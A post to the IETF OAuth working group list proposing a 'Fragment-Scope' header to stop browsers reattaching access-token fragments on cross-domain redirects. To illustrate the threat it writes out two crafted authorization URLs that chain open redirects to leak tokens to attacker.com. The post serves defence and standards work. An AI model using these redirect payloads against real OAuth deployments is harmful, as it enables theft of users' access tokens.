[OAUTH-WG] New header "Fragment-Scope" to prevent assertions leakage through redirects

[isciurus <[e-mail]>]

Hi,

One of the recent drafts
https://tools.ietf.org/id/draft-bradley-oauth-open-redirector-01.html was
brought to my attention. Regarding the part "2.2. Security Compromise: The
Authorization Server As Open Redirector":

    The legitimate OAuth Authorization response will include an access
token in the URI fragment.
    Most web browsers will append the fragment to the URI sent in the
location header of a 302 response if no fragment is included in the
location URI.

This browser behaviour with a url fragment reattaching is indeed used
widely in attacks on OAuth (for example, one of the recent on the bitcoin
exchange http://sakurity.com/blog/2015/01/10/hacking-bitcoin-exchanger.html)
and I am also aware of one attack on OpenID 2 implementation leaking a
valid signature using the same technique.
We are trying to propose a browser-level protection from sensitive url
fragment data reattach on cross-domain redirects:
http://lists.w3.org/Archives/Public/ietf-http-wg/2015JanMar/0066.html
A new header in the AS response would also block fragment reattach in the
following scenario:

  https://AUTHORIZATION_SERVER/authorize?response_type=token
  &client_id=good-client&scope=VALID_SCOPE
  &redirect_uri=https%3A%2F%2AUTHORIZATION_SERVER%Fauthorize
  %3Fresponse_type%3Dcode
  %26client_id%3Dattacker-client-id
  %26scope%3DINVALID_SCOPE
  %26redirect_uri%3Dhttps%253A%252F%252Fattacker.com

But it would additionally block exploitation of vulnerable clients which
have open redirects on their domains and don't whitelist their redirect_uri:

  https://AUTHORIZATION_SERVER/authorize?response_type=token
  &client_id=good-client&scope=VALID_SCOPE
  &redirect_uri=https%3A%2F%2good-client.com%Fopen_redirect
  %3Furl%3Dhttps%253A%252F%252Fattacker.com

This can improve the situation with already deployed clients in large
scale. Let me know if this proposal is interesting to the OAuth WG.

Thanks,
Andrey